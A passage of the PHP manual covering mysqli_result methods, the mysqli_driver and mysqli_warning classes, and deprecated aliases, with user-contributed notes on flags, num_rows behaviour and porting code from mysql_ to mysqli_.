mysqli_result::fetch_fields -- mysqli_fetch_fields — Returns an array of objects representing the fields in a result set

Description

Object oriented style

array mysqli_result::fetch_fields ( void )

Procedural style

array mysqli_fetch_fields ( mysqli_result $result )

This function serves an identical purpose to the mysqli_fetch_field() function with the single difference that, instead of returning one object at a time for each field, the columns are returned as an array of objects.

Parameters

result

Procedural style only: A result set identifier returned by mysqli_query(), mysqli_store_result() or mysqli_use_result().

Return Values

Returns an array of objects which contains field definition information or FALSE if no field information is available.

Object properties
Property | Description
name | The name of the column
orgname | Original column name if an alias was specified
table | The name of the table this field belongs to (if not calculated)
orgtable | Original table name if an alias was specified
max_length | The maximum width of the field for the result set.
length | The width of the field, as specified in the table definition.
charsetnr | The character set number for the field.
flags | An integer representing the bit-flags for the field.
type | The data type used for this field
decimals | The number of decimals used (for integer fields)

Examples

Example #1 Object oriented style

<?php
$mysqli = new mysqli("localhost", "my_user", "my_password", "world");

/* check connection */
if (mysqli_connect_errno()) {
    printf("Connect failed: %s\n", mysqli_connect_error());
    exit();
}

$query = "SELECT Name, SurfaceArea from Country ORDER BY Code LIMIT 5";

if ($result = $mysqli->query($query)) {

    /* Get field information for all columns */
    $finfo = $result->fetch_fields();

    foreach ($finfo as $val) {
        printf("Name:     %s\n", $val->name);
        printf("Table:    %s\n", $val->table);
        printf("max. Len: %d\n", $val->max_length);
        printf("Flags:    %d\n", $val->flags);
        printf("Type:     %d\n\n", $val->type);
    }
    $result->close();
}

/* close connection */
$mysqli->close();
?>

Example #2 Procedural style

<?php
$link = mysqli_connect("localhost", "my_user", "my_password", "world");

/* check connection */
if (mysqli_connect_errno()) {
    printf("Connect failed: %s\n", mysqli_connect_error());
    exit();
}

$query = "SELECT Name, SurfaceArea from Country ORDER BY Code LIMIT 5";

if ($result = mysqli_query($link, $query)) {

    /* Get field information for all columns */
    $finfo = mysqli_fetch_fields($result);

    foreach ($finfo as $val) {
        printf("Name:     %s\n", $val->name);
        printf("Table:    %s\n", $val->table);
        printf("max. Len: %d\n", $val->max_length);
        printf("Flags:    %d\n", $val->flags);
        printf("Type:     %d\n\n", $val->type);
    }
    mysqli_free_result($result);
}

/* close connection */
mysqli_close($link);
?>

The above examples will output:

Name:     Name
Table:    Country
max. Len: 11
Flags:    1
Type:     254

Name:     SurfaceArea
Table:    Country
max. Len: 10
Flags:    32769
Type:     4

See Also

  • mysqli_num_fields() - Get the number of fields in a result
  • mysqli_fetch_field_direct() - Fetch meta-data for a single field
  • mysqli_fetch_field() - Returns the next field in the result set

User Contributed Notes

AndrewRoz 12-Jan-2011 08:18
The field info bit-flags used by MySql are:
 (Thanks to ragtag at hotmail dot com)
<?php
/*
       NOT_NULL_FLAG = 1
       PRI_KEY_FLAG = 2
       UNIQUE_KEY_FLAG = 4
       BLOB_FLAG = 16
       UNSIGNED_FLAG = 32
       ZEROFILL_FLAG = 64
       BINARY_FLAG = 128
       ENUM_FLAG = 256
       AUTO_INCREMENT_FLAG = 512
       TIMESTAMP_FLAG = 1024
       SET_FLAG = 2048
       NUM_FLAG = 32768
       PART_KEY_FLAG = 16384
       GROUP_FLAG = 32768
       UNIQUE_FLAG = 65536
*/

// To test if a flag is set you can use & like so:

  $meta = $mysqli_result_object->fetch_field();
  if ($meta->flags & 4) {
     echo 'Unique key flag is set';
  }
?>
mysqli_result::fetch_field
mysqli_result::fetch_object
mysqli_result


Returns the current row of a result set as an object

mysqli_result::fetch_fields
mysqli_result::fetch_row
mysqli_result
PHP Manual

mysqli_result::fetch_object

mysqli_fetch_object

(PHP 5)

mysqli_result::fetch_object -- mysqli_fetch_object — Returns the current row of a result set as an object

Description

Object oriented style

object mysqli_result::fetch_object ([ string $class_name [, array $params ]] )

Procedural style

object mysqli_fetch_object ( mysqli_result $result [, string $class_name [, array $params ]] )

The mysqli_fetch_object() will return the current row result set as an object where the attributes of the object represent the names of the fields found within the result set.

Note that mysqli_fetch_object() sets the properties of the object before calling the object constructor.

Parameters

result

Procedural style only: A result set identifier returned by mysqli_query(), mysqli_store_result() or mysqli_use_result().

class_name

The name of the class to instantiate, set the properties of and return. If not specified, a stdClass object is returned.

params

An optional array of parameters to pass to the constructor for class_name objects.

Return Values

Returns an object with string properties that corresponds to the fetched row or NULL if there are no more rows in resultset.

Note: Field names returned by this function are case-sensitive.

Note: This function sets NULL fields to the PHP NULL value.

Changelog

Version | Description
5.0.0 | Added the ability to return as a different object.

Examples

Example #1 Object oriented style

<?php
$mysqli = new mysqli("localhost", "my_user", "my_password", "world");

/* check connection */
if (mysqli_connect_errno()) {
    printf("Connect failed: %s\n", mysqli_connect_error());
    exit();
}

$query = "SELECT Name, CountryCode FROM City ORDER by ID DESC LIMIT 50,5";

if ($result = $mysqli->query($query)) {

    /* fetch object array */
    while ($obj = $result->fetch_object()) {
        printf ("%s (%s)\n", $obj->Name, $obj->CountryCode);
    }

    /* free result set */
    $result->close();
}

/* close connection */
$mysqli->close();
?>

Example #2 Procedural style

<?php
$link = mysqli_connect("localhost", "my_user", "my_password", "world");

/* check connection */
if (mysqli_connect_errno()) {
    printf("Connect failed: %s\n", mysqli_connect_error());
    exit();
}

$query = "SELECT Name, CountryCode FROM City ORDER by ID DESC LIMIT 50,5";

if ($result = mysqli_query($link, $query)) {

    /* fetch associative array */
    while ($obj = mysqli_fetch_object($result)) {
        printf ("%s (%s)\n", $obj->Name, $obj->CountryCode);
    }

    /* free result set */
    mysqli_free_result($result);
}

/* close connection */
mysqli_close($link);
?>

The above examples will output:

Pueblo (USA)
Arvada (USA)
Cape Coral (USA)
Green Bay (USA)
Santa Clara (USA)

See Also

  • mysqli_fetch_array() - Fetch a result row as an associative, a numeric array, or both
  • mysqli_fetch_assoc() - Fetch a result row as an associative array
  • mysqli_fetch_row() - Get a result row as an enumerated array
  • mysqli_query() - Performs a query on the database
  • mysqli_data_seek() - Adjusts the result pointer to an arbitary row in the result

User Contributed Notes

benpptung at tacol dot biz 08-Aug-2009 08:04
I don't know why no one talk about this.
fetch_object is very powerful since you can instantiate an Object which has the methods you wanna have.

You can try like this..

<?php
class PowerfulVO extends AbstractWhatEver {

    public $field1;
    private $field2; // note : private is ok

    public function method(){
       // method in this class
    }
}

     $sql = "SELECT * FROM table ..."
     $mysqli = new mysqli(........);
     $result = $mysqli->query($sql);
     $vo = $result->fetch_object('PowerfulVO');
?>

Note : if the field is not defined in the class, fetch_object will add this field for you as public.

The method is very powerful, especially if you want to use a VO design pattern or class mapping feature with Flex Remoting Object( Of course, you need to have ZendAMF or AMFPHP ..framework)

Hope this help and open new possibilities for you
peterbelm at g[oogle]mail dot com 18-Aug-2008 07:10
If your SQL code selects columns with empty names like so:

SELECT id as ``...

You will get a fatal error "Cannot access empty property", this took me a while to track down!

Obviously your SQL really shouldn't do that, and should be fixed but I'm going to submit a feature request to ask for a better error message for that.
mysqli_result::fetch_fields
mysqli_result::fetch_row
mysqli_result


Get a result row as an enumerated array

mysqli_result::fetch_object
mysqli_result::$field_count
mysqli_result
PHP Manual

mysqli_result::fetch_row

mysqli_fetch_row

(PHP 5)

mysqli_result::fetch_row -- mysqli_fetch_row — Get a result row as an enumerated array

Description

Object oriented style

mixed mysqli_result::fetch_row ( void )

Procedural style

mixed mysqli_fetch_row ( mysqli_result $result )

Fetches one row of data from the result set and returns it as an enumerated array, where each column is stored in an array offset starting from 0 (zero). Each subsequent call to this function will return the next row within the result set, or NULL if there are no more rows.

Parameters

result

Procedural style only: A result set identifier returned by mysqli_query(), mysqli_store_result() or mysqli_use_result().

Return Values

mysqli_fetch_row() returns an array of strings that corresponds to the fetched row or NULL if there are no more rows in result set.

Note: This function sets NULL fields to the PHP NULL value.

Examples

Example #1 Object oriented style

<?php
$mysqli = new mysqli("localhost", "my_user", "my_password", "world");

/* check connection */
if (mysqli_connect_errno()) {
    printf("Connect failed: %s\n", mysqli_connect_error());
    exit();
}

$query = "SELECT Name, CountryCode FROM City ORDER by ID DESC LIMIT 50,5";

if ($result = $mysqli->query($query)) {

    /* fetch object array */
    while ($row = $result->fetch_row()) {
        printf ("%s (%s)\n", $row[0], $row[1]);
    }

    /* free result set */
    $result->close();
}

/* close connection */
$mysqli->close();
?>

Example #2 Procedural style

<?php
$link = mysqli_connect("localhost", "my_user", "my_password", "world");

/* check connection */
if (mysqli_connect_errno()) {
    printf("Connect failed: %s\n", mysqli_connect_error());
    exit();
}

$query = "SELECT Name, CountryCode FROM City ORDER by ID DESC LIMIT 50,5";

if ($result = mysqli_query($link, $query)) {

    /* fetch associative array */
    while ($row = mysqli_fetch_row($result)) {
        printf ("%s (%s)\n", $row[0], $row[1]);
    }

    /* free result set */
    mysqli_free_result($result);
}

/* close connection */
mysqli_close($link);
?>

The above examples will output:

Pueblo (USA)
Arvada (USA)
Cape Coral (USA)
Green Bay (USA)
Santa Clara (USA)

See Also

  • mysqli_fetch_array() - Fetch a result row as an associative, a numeric array, or both
  • mysqli_fetch_assoc() - Fetch a result row as an associative array
  • mysqli_fetch_object() - Returns the current row of a result set as an object
  • mysqli_query() - Performs a query on the database
  • mysqli_data_seek() - Adjusts the result pointer to an arbitary row in the result

User Contributed Notes

evangun2001 at yahoo dot fr 16-Sep-2007 02:24
Remember that fetch() and fetch_row() are two different things, and differ in the way to use them.

- fetch() is used on a statement (like an executed prepared statement) and needs to be used in association with bind_result().

- fetch_row() is used on a result (like the result of query()).

As a consequence, if you want to use to use fetch_row() with an executed prepared statement, first you'll have to get the result out of this statement with mysqli_store_result() or mysqli_use_result().
Stephen 23-Jan-2007 02:29
It's worth noting that the MySQLi functions (and, I presume, the MySQL functions) fetch a string regardless of the MySQL data type. E.g. if you fetch a row with an integer column, the corresponding value for that column and row will still be stored as a string in the array returned by mysql_fetch_row.
maillist at pnpitalia.it 06-Jan-2004 10:01
from "README.PHP4-TO-PHP5-THIN-CHANGES"

4. Be careful when porting from ext/mysql to ext/mysqli. The following
   functions return NULL when no more data is available in the result set
   (ext/mysql's functions return FALSE).

    - mysqli_fetch_row()
    - mysqli_fetch_array()
    - mysqli_fetch_assoc()
mysqli_result::fetch_object
mysqli_result::$field_count
mysqli_result


Get the number of fields in a result

mysqli_result::fetch_row
mysqli_result::field_seek
mysqli_result
PHP Manual

mysqli_result::$field_count

mysqli_num_fields

(PHP 5)

mysqli_result::$field_count -- mysqli_num_fields — Get the number of fields in a result

Description

Object oriented style

int $mysqli_result->field_count;

Procedural style

int mysqli_num_fields ( mysqli_result $result )

Returns the number of fields from specified result set.

Parameters

result

Procedural style only: A result set identifier returned by mysqli_query(), mysqli_store_result() or mysqli_use_result().

Return Values

The number of fields from a result set.

Examples

Example #1 Object oriented style

<?php
$mysqli = new mysqli("localhost", "my_user", "my_password", "world");

/* check connection */
if (mysqli_connect_errno()) {
    printf("Connect failed: %s\n", mysqli_connect_error());
    exit();
}

if ($result = $mysqli->query("SELECT * FROM City ORDER BY ID LIMIT 1")) {

    /* determine number of fields in result set */
    $field_cnt = $result->field_count;

    printf("Result set has %d fields.\n", $field_cnt);

    /* close result set */
    $result->close();
}

/* close connection */
$mysqli->close();
?>

Example #2 Procedural style

<?php
$link = mysqli_connect("localhost", "my_user", "my_password", "world");

/* check connection */
if (mysqli_connect_errno()) {
    printf("Connect failed: %s\n", mysqli_connect_error());
    exit();
}

if ($result = mysqli_query($link, "SELECT * FROM City ORDER BY ID LIMIT 1")) {

    /* determine number of fields in result set */
    $field_cnt = mysqli_num_fields($result);

    printf("Result set has %d fields.\n", $field_cnt);

    /* close result set */
    mysqli_free_result($result);
}

/* close connection */
mysqli_close($link);
?>

The above examples will output:

Result set has 5 fields.

See Also

  • mysqli_fetch_field() - Returns the next field in the result set

User Contributed Notes

There are no user contributed notes for this page.
mysqli_result::fetch_row
mysqli_result::field_seek
mysqli_result


Set result pointer to a specified field offset

mysqli_result::$field_count
mysqli_result::free
mysqli_result
PHP Manual

mysqli_result::field_seek

mysqli_field_seek

(PHP 5)

mysqli_result::field_seek -- mysqli_field_seek — Set result pointer to a specified field offset

Description

Object oriented style

bool mysqli_result::field_seek ( int $fieldnr )

Procedural style

bool mysqli_field_seek ( mysqli_result $result , int $fieldnr )

Sets the field cursor to the given offset. The next call to mysqli_fetch_field() will retrieve the field definition of the column associated with that offset.

Note:

To seek to the beginning of a row, pass an offset value of zero.

Parameters

result

Procedural style only: A result set identifier returned by mysqli_query(), mysqli_store_result() or mysqli_use_result().

fieldnr

The field number. This value must be in the range from 0 to number of fields - 1.

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 Object oriented style

<?php
$mysqli = new mysqli("localhost", "my_user", "my_password", "world");

/* check connection */
if (mysqli_connect_errno()) {
    printf("Connect failed: %s\n", mysqli_connect_error());
    exit();
}

$query = "SELECT Name, SurfaceArea from Country ORDER BY Code LIMIT 5";

if ($result = $mysqli->query($query)) {

    /* Get field information for 2nd column */
    $result->field_seek(1);
    $finfo = $result->fetch_field();

    printf("Name:     %s\n", $finfo->name);
    printf("Table:    %s\n", $finfo->table);
    printf("max. Len: %d\n", $finfo->max_length);
    printf("Flags:    %d\n", $finfo->flags);
    printf("Type:     %d\n\n", $finfo->type);

    $result->close();
}

/* close connection */
$mysqli->close();
?>

Example #2 Procedural style

<?php
$link = mysqli_connect("localhost", "my_user", "my_password", "world");

/* check connection */
if (mysqli_connect_errno()) {
    printf("Connect failed: %s\n", mysqli_connect_error());
    exit();
}

$query = "SELECT Name, SurfaceArea from Country ORDER BY Code LIMIT 5";

if ($result = mysqli_query($link, $query)) {

    /* Get field information for 2nd column */
    mysqli_field_seek($result, 1);
    $finfo = mysqli_fetch_field($result);

    printf("Name:     %s\n", $finfo->name);
    printf("Table:    %s\n", $finfo->table);
    printf("max. Len: %d\n", $finfo->max_length);
    printf("Flags:    %d\n", $finfo->flags);
    printf("Type:     %d\n\n", $finfo->type);

    mysqli_free_result($result);
}

/* close connection */
mysqli_close($link);
?>

The above examples will output:

Name:     SurfaceArea
Table:    Country
max. Len: 10
Flags:    32769
Type:     4

See Also

  • mysqli_fetch_field() - Returns the next field in the result set

User Contributed Notes

There are no user contributed notes for this page.
mysqli_result::$field_count
mysqli_result::free
mysqli_result


Frees the memory associated with a result

mysqli_result::field_seek
mysqli_result::$lengths
mysqli_result
PHP Manual

mysqli_result::free

mysqli_free_result

(PHP 5)

mysqli_result::free -- mysqli_free_result — Frees the memory associated with a result

Description

Object oriented style

void mysqli_result::free ( void )
void mysqli_result::close ( void )
void mysqli_result::free_result ( void )

Procedural style

void mysqli_free_result ( mysqli_result $result )

Frees the memory associated with the result.

Note:

You should always free your result with mysqli_free_result(), when your result object is not needed anymore.

Parameters

result

Procedural style only: A result set identifier returned by mysqli_query(), mysqli_store_result() or mysqli_use_result().

Return Values

No value is returned.

See Also

  • mysqli_query() - Performs a query on the database
  • mysqli_stmt_store_result() - Transfers a result set from a prepared statement
  • mysqli_store_result() - Transfers a result set from the last query
  • mysqli_use_result() - Initiate a result set retrieval

User Contributed Notes

Vector at ionisis dot com 28-Dec-2009 05:17
If you are getting this error:
Internal SQL Bug: 2014, Commands out of sync; you can't run this command now

Then you never called mysqli_result::free(), mysqli_result::free_result(), mysqli_result::close(), or mysqli_free_result() in your script, and must call it before executing another stored procedure.
Anonymous 18-Oct-2009 03:49
Freeing the memory associated with a result means that the references returned by mysqli_fetch_object (or equivalent) are cleared. Thus if you should pass an object pointing to a database row _by reference_, every call of mysqli_free_result will discard the referenced data.
mysqli_result::field_seek
mysqli_result::$lengths
mysqli_result


Returns the lengths of the columns of the current row in the result set

mysqli_result::free
mysqli_result::$num_rows
mysqli_result
PHP Manual

mysqli_result::$lengths

mysqli_fetch_lengths

(PHP 5)

mysqli_result::$lengths -- mysqli_fetch_lengths — Returns the lengths of the columns of the current row in the result set

Description

Object oriented style

array $mysqli_result->lengths;

Procedural style

array mysqli_fetch_lengths ( mysqli_result $result )

The mysqli_fetch_lengths() function returns an array containing the lengths of every column of the current row within the result set.

Parameters

result

Procedural style only: A result set identifier returned by mysqli_query(), mysqli_store_result() or mysqli_use_result().

Return Values

An array of integers representing the size of each column (not including any terminating null characters). FALSE if an error occurred.

mysqli_fetch_lengths() is valid only for the current row of the result set. It returns FALSE if you call it before calling mysqli_fetch_row/array/object or after retrieving all rows in the result.

Examples

Example #1 Object oriented style

<?php
$mysqli = new mysqli("localhost", "my_user", "my_password", "world");

/* check connection */
if (mysqli_connect_errno()) {
    printf("Connect failed: %s\n", mysqli_connect_error());
    exit();
}

$query = "SELECT * from Country ORDER BY Code LIMIT 1";

if ($result = $mysqli->query($query)) {

    $row = $result->fetch_row();

    /* display column lengths */
    foreach ($result->lengths as $i => $val) {
        printf("Field %2d has Length %2d\n", $i+1, $val);
    }
    $result->close();
}

/* close connection */
$mysqli->close();
?>

Example #2 Procedural style

<?php
$link = mysqli_connect("localhost", "my_user", "my_password", "world");

/* check connection */
if (mysqli_connect_errno()) {
    printf("Connect failed: %s\n", mysqli_connect_error());
    exit();
}

$query = "SELECT * from Country ORDER BY Code LIMIT 1";

if ($result = mysqli_query($link, $query)) {

    $row = mysqli_fetch_row($result);

    /* display column lengths */
    foreach (mysqli_fetch_lengths($result) as $i => $val) {
        printf("Field %2d has Length %2d\n", $i+1, $val);
    }
    mysqli_free_result($result);
}

/* close connection */
mysqli_close($link);
?>

The above examples will output:

Field  1 has Length  3
Field  2 has Length  5
Field  3 has Length 13
Field  4 has Length  9
Field  5 has Length  6
Field  6 has Length  1
Field  7 has Length  6
Field  8 has Length  4
Field  9 has Length  6
Field 10 has Length  6
Field 11 has Length  5
Field 12 has Length 44
Field 13 has Length  7
Field 14 has Length  3
Field 15 has Length  2

User Contributed Notes

There are no user contributed notes for this page.
mysqli_result::free
mysqli_result::$num_rows
mysqli_result


Gets the number of rows in a result

mysqli_result::$lengths
mysqli_driver
mysqli_result
PHP Manual

mysqli_result::$num_rows

mysqli_num_rows

(PHP 5)

mysqli_result::$num_rows -- mysqli_num_rows — Gets the number of rows in a result

Description

Object oriented style

int $mysqli_result->num_rows;

Procedural style

int mysqli_num_rows ( mysqli_result $result )

Returns the number of rows in the result set.

The behaviour of mysqli_num_rows() depends on whether buffered or unbuffered result sets are being used. For unbuffered result sets, mysqli_num_rows() will not return the correct number of rows until all the rows in the result have been retrieved.

Parameters

result

Procedural style only: A result set identifier returned by mysqli_query(), mysqli_store_result() or mysqli_use_result().

Return Values

Returns number of rows in the result set.

Note:

If the number of rows is greater than MAXINT, the number will be returned as a string.

Examples

Example #1 Object oriented style

<?php
$mysqli = new mysqli("localhost", "my_user", "my_password", "world");

/* check connection */
if (mysqli_connect_errno()) {
    printf("Connect failed: %s\n", mysqli_connect_error());
    exit();
}

if ($result = $mysqli->query("SELECT Code, Name FROM Country ORDER BY Name")) {

    /* determine number of rows result set */
    $row_cnt = $result->num_rows;

    printf("Result set has %d rows.\n", $row_cnt);

    /* close result set */
    $result->close();
}

/* close connection */
$mysqli->close();
?>

Example #2 Procedural style

<?php
$link = mysqli_connect("localhost", "my_user", "my_password", "world");

/* check connection */
if (mysqli_connect_errno()) {
    printf("Connect failed: %s\n", mysqli_connect_error());
    exit();
}

if ($result = mysqli_query($link, "SELECT Code, Name FROM Country ORDER BY Name")) {

    /* determine number of rows result set */
    $row_cnt = mysqli_num_rows($result);

    printf("Result set has %d rows.\n", $row_cnt);

    /* close result set */
    mysqli_free_result($result);
}

/* close connection */
mysqli_close($link);
?>

The above examples will output:

Result set has 239 rows.

See Also

  • mysqli_affected_rows() - Gets the number of affected rows in a previous MySQL operation
  • mysqli_store_result() - Transfers a result set from the last query
  • mysqli_use_result() - Initiate a result set retrieval
  • mysqli_query() - Performs a query on the database

User Contributed Notes

borisigna 07-Aug-2011 08:19
If you have problems making work this num_rows, you have to declare ->store_result() first.

<?php
$mysqli = new mysqli("localhost","root", "", "tables");

$query = $mysqli->prepare("SELECT * FROM table1");
$query->execute();
$query->store_result();

$rows = $query->num_rows;

echo $rows;

// Return 4 for example
?>
randomsort at gmail dot com 27-Jun-2011 01:39
This may be a bug or a feature, but I do see peculiar behaviour with regards to this feature on  php version  5.2.6-1+lenny10.

The value in mysqli-result->num_rows is not the total number of rows, but rather the number of rows you have iterated over so far.

<?php
$sql = "valid select statement that yields results";
if($result = mysqli-connection->query($sql, MYSQLI_USE_RESULT))
{
          echo $result->num_rows; //zero
          while($row = $result->fetch_row())
        {
          echo $result->num_rows; //incrementing by one each time
        }
          echo $result->num_rows; // Finally the total count
}
?>

This has had me confused more than a few times,
I hope I can save you some of that trouble.

Regards,
Johan Abildskov
mysqli_result::$lengths
mysqli_driver
mysqli_result


The mysqli_driver class

(No version information available, might only be in SVN)

Introduction

MySQLi Driver.

Class synopsis

mysqli_driver {
/* Properties */
public readonly string $client_info ;
public readonly string $client_version ;
public readonly string $driver_version ;
public readonly string $embedded ;
public bool $reconnect ;
public int $report_mode ;
/* Methods */
void embedded_server_end ( void )
bool embedded_server_start ( bool $start , array $arguments , array $groups )
}

Properties

client_info

The Client API header version

client_version

The Client version

driver_version

The MySQLi Driver version

embedded

Whether MySQLi Embedded support is enabled

reconnect

Allow or prevent reconnect (see the mysqli.reconnect INI directive)

report_mode

Set to MYSQLI_REPORT_OFF, MYSQLI_REPORT_ALL or any combination of MYSQLI_REPORT_STRICT (throw Exceptions for errors), MYSQLI_REPORT_ERROR (report errors) and MYSQLI_REPORT_INDEX (errors regarding indexes). See also mysqli_report().

Table of Contents

  • mysqli_driver::embedded_server_end — Stop embedded server
  • mysqli_driver::embedded_server_start — Initialize and start embedded server

User Contributed Notes

There are no user contributed notes for this page.
mysqli_result::$num_rows
mysqli_driver::embedded_server_end
Mysqli


Stop embedded server

mysqli_driver
mysqli_driver::embedded_server_start
mysqli_driver
PHP Manual

mysqli_driver::embedded_server_end

mysqli_embedded_server_end

(PHP 5)

mysqli_driver::embedded_server_end -- mysqli_embedded_server_end — Stop embedded server

Description

Object oriented style

void mysqli_driver::embedded_server_end ( void )

Procedural style

void mysqli_embedded_server_end ( void )
Warning

This function is currently not documented; only its argument list is available.

User Contributed Notes

There are no user contributed notes for this page.
mysqli_driver
mysqli_driver::embedded_server_start
mysqli_driver


Initialize and start embedded server

mysqli_driver::embedded_server_end
mysqli_warning
mysqli_driver
PHP Manual

mysqli_driver::embedded_server_start

mysqli_embedded_server_start

(PHP 5)

mysqli_driver::embedded_server_start -- mysqli_embedded_server_start — Initialize and start embedded server

Description

Object oriented style

bool mysqli_driver::embedded_server_start ( bool $start , array $arguments , array $groups )

Procedural style

bool mysqli_embedded_server_start ( bool $start , array $arguments , array $groups )
Warning

This function is currently not documented; only its argument list is available.

User Contributed Notes

There are no user contributed notes for this page.
mysqli_driver::embedded_server_end
mysqli_warning
mysqli_driver


The mysqli_warning class

(No version information available, might only be in SVN)

Introduction

Represents a MySQL warning.

Class synopsis

mysqli_warning {
/* Properties */
public $message ;
public $sqlstate ;
public $errno ;
/* Methods */
public __construct ( void )
public void next ( void )
}

Properties

message

Message string

sqlstate

SQL state

errno

Error number

Table of Contents

  • mysqli_warning::__construct — The __construct purpose
  • mysqli_warning::next — The next purpose

User Contributed Notes

There are no user contributed notes for this page.
mysqli_driver::embedded_server_start
mysqli_warning::__construct
Mysqli


The __construct purpose

mysqli_warning
mysqli_warning::next
mysqli_warning
PHP Manual

mysqli_warning::__construct

(No version information available, might only be in SVN)

mysqli_warning::__construct — The __construct purpose

Description

public mysqli_warning::__construct ( void )

Warning

This function is currently not documented; only its argument list is available.

Parameters

This function has no parameters.

Return Values

User Contributed Notes

There are no user contributed notes for this page.
mysqli_warning
mysqli_warning::next
mysqli_warning


The next purpose

mysqli_warning::__construct
Aliases and deprecated Mysqli Functions
mysqli_warning
PHP Manual

mysqli_warning::next

(No version information available, might only be in SVN)

mysqli_warning::next — The next purpose

Description

public void mysqli_warning::next ( void )

Warning

This function is currently not documented; only its argument list is available.

Parameters

This function has no parameters.

Return Values

User Contributed Notes

There are no user contributed notes for this page.
mysqli_warning::__construct
Aliases and deprecated Mysqli Functions
mysqli_warning


Aliases and deprecated Mysqli Functions

Table of Contents

  • mysqli_bind_param — Alias for mysqli_stmt_bind_param
  • mysqli_bind_result — Alias for mysqli_stmt_bind_result
  • mysqli_client_encoding — Alias of mysqli_character_set_name
  • mysqli_connect — Alias of mysqli::__construct
  • mysqli_disable_rpl_parse — Disable RPL parse
  • mysqli_enable_reads_from_master — Enable reads from master
  • mysqli_enable_rpl_parse — Enable RPL parse
  • mysqli_escape_string — Alias of mysqli_real_escape_string
  • mysqli_execute — Alias for mysqli_stmt_execute
  • mysqli_fetch — Alias for mysqli_stmt_fetch
  • mysqli_get_cache_stats — Returns client Zval cache statistics
  • mysqli_get_metadata — Alias for mysqli_stmt_result_metadata
  • mysqli_master_query — Enforce execution of a query on the master in a master/slave setup
  • mysqli_param_count — Alias for mysqli_stmt_param_count
  • mysqli_report — Enables or disables internal report functions
  • mysqli_rpl_parse_enabled — Check if RPL parse is enabled
  • mysqli_rpl_probe — RPL probe
  • mysqli_send_long_data — Alias for mysqli_stmt_send_long_data
  • mysqli_set_opt — Alias of mysqli_options
  • mysqli_slave_query — Force execution of a query on a slave in a master/slave setup

User Contributed Notes

Daniel Sowden 08-Apr-2008 03:56
I had a problem compiling PHP 5.2.5 with mysqli enabled on Mac OS X. Whether this problem was unique to me I do not no, so I am posting this for anybody else that runs into the same problem. Configure would run right to the end, but I had it telling me something had failed and that it was likely messed up. Upon checking debug.log I noticed this:

dyld: Library not loaded: /usr/local/mysql/lib/mysql/libmysqlclient.15.dylib
Referenced from: /Users/daniel/desktop/php -5.2.5/sapi/cli/php
Reason: image not found
/bin/sh: line 1: /Users/daniel/desktop/php -5.2.5/tmp-php.ini: Permission denied
dyld: Library not loaded: /usr/local/mysql/lib/mysql/libmysqlclient.15.dylib
Referenced from: /Users/daniel/desktop/php -5.2.5/sapi/cli/php
Reason: image not found
make: [test] Error 133 (ignored)

After screwing around for an hour and screaming many profanities at my computer I looked back at the error and noticed:

"/usr/local/mysql/lib/<b>mysql/</b>libmysqlclient.15.dylib

Why it was using this path I do not know, but I headslapped when I realised how simple it was! I solved the problem by creating a link called mysql that linked back on itself:

cd /usr/local/mysql/lib
sudo ln -s ./ mysql

Problem solved! I probably should have figured out why it was doing this instead, but this was easier and saved me from allot more frustration.
jeff at coderforlife dot com 12-Mar-2008 11:37
It looks as though mysqli persistent connections will be available by default in PHP 6.

The source code for the mysqli PHP 6 module is here in the mysql SVN:
http://svn.mysql.com/svnpublic/
php-mysqlnd/trunk/php6/ext/mysqli/mysqli.c

It has a ton a of references to persistence, and the ini setting for enabling persistence is true by default.

To bad this isn't be integrated into the latest PHP 5 builds.
swong 10-Nov-2007 07:48
If you want to extend mysqli and establish an connection with SSL authentication, the followings may be useful.
(note: not all php-mysqli supports mysqli_ssl_set())

class DataAccess extends mysqli
{
    function __construct(
          $hostname, $username, $passwd=null, $dbname=null,
          $port=null, $socket=null, $flags=null,
          $privatekey=null, $certificate=null, $caCertificate=null)
     {
           $link = parent::init();
           if ($privatekey!=null && $certificate!=null && $caCertificate!=null)
                 $link->ssl_set($privatekey, $certificate, $caCertificate,
                 dirname($caCertificate),NULL);
            parent::__construct($hostname, $username,
                 $passwd, $dbname, $port, $socket);
      }

         .....
}
marcus at synchromedia dot co dot uk 03-Oct-2007 09:27
For those having trouble getting MySQLi to work, there is another way that is set to become much more common:

http://dev.mysql.com/downloads/connector/php-mysqlnd/

This is the new MySQL native driver which has been backported from PHP6 and replaces MySQLi with a version that doesn't require any local MySQL client libraries or binaries.
smurf at smurf dot noris dot de 03-Jul-2007 05:45
Yay. No more persistent connections. I am NOT happy about that.

As soon as you get more than 250 requests per second (ever been slashdotted?) there will not be any more free TCP ports for talking to the database server, because each TCP port will be kept in TIME_WAIT for two minutes and there are only 30000 ports in the local range.

And that's not the only problem. There's also more than twice the packet rate on the network link to the database. Frankly I'd like my CPUs to spend their cycles on something producive. :-/
dan+php dot net-note-about-mysqli at obluda dot cz 27-Sep-2006 02:15
Hints for upgrading PHP code from MySQL to MySQLi:

Note - MySQLi doesn't support persistent connection. If you need it, you must implement it by self. This case is not covered in this note.

First - change all occurences of MYSQL_ to MYSQLI_ and mysql_ to mysqli_

Most of changes is required because mysqli* functions has no implicit link argument, so it need to be added explicitly if not present already. Even if it is present, most mysqli_ functions require 'link' argument as first (and mandatory) argument instead of last (and optional) as required by mysql_ functions. So, we need to change order of arguments at least.

So, you need to found names of all mysql_ functions used in your code, check if it need reoder of parameters or add the link parameter. Only *_connect() functions need review, but most scripts contain only few connect call.

If you use functions deprecated in mysql, then may not be impemented in mysqli. Those need to be reimplemented if required. In most case, it's very simple. In advance, PHP script written by carefull programer should not contain deprecated calls, so it's not problem in most cases at all.

Most of scripts I ported from mysql_ to mysqli_ can be converted by simple sed script followed by *_connect() function call review only. Especially when when programmer doesn't used the link as implicit argument and doesn't use deprecated functions the conversion of PHP source is trivial task and converted script work with no problem.

Special handling of some functions:

mysql_connect(),mysql_pconnect()
-----------------------------------------
Call with 3 or less parameters need not to be modified.
4-parameters call - delete 4th parameter as mysqli is always non-persistent
5-parameters - replace it by sequence of mysqli_init();mysqli_options();mysqli_real_connect()

mysql_create_db(), mysql_drop_db(), mysql_list_dbs(), mysql_db_name(),mysql_list_fields(), mysql_list_processes(), mysql_list_tables(), mysql_db_query(),mysql_table_name()
------------------------------------------
mysqli variant doesn't exist (those functions has been deprecated even in mysql_) but it's easy to reimplement each of it. Use apropropriate SQL command followed by standard loop for processing query results where applicable. If no connection to server yet you need to use explicit mysqli_connect call.

mysql_result()
-----------------
mysqli variant doesn't exist. Use one of mysqli_fetch_* variant (depending of type of mysql_result() third argument)

mysql_unbuffered_query()
-----------------
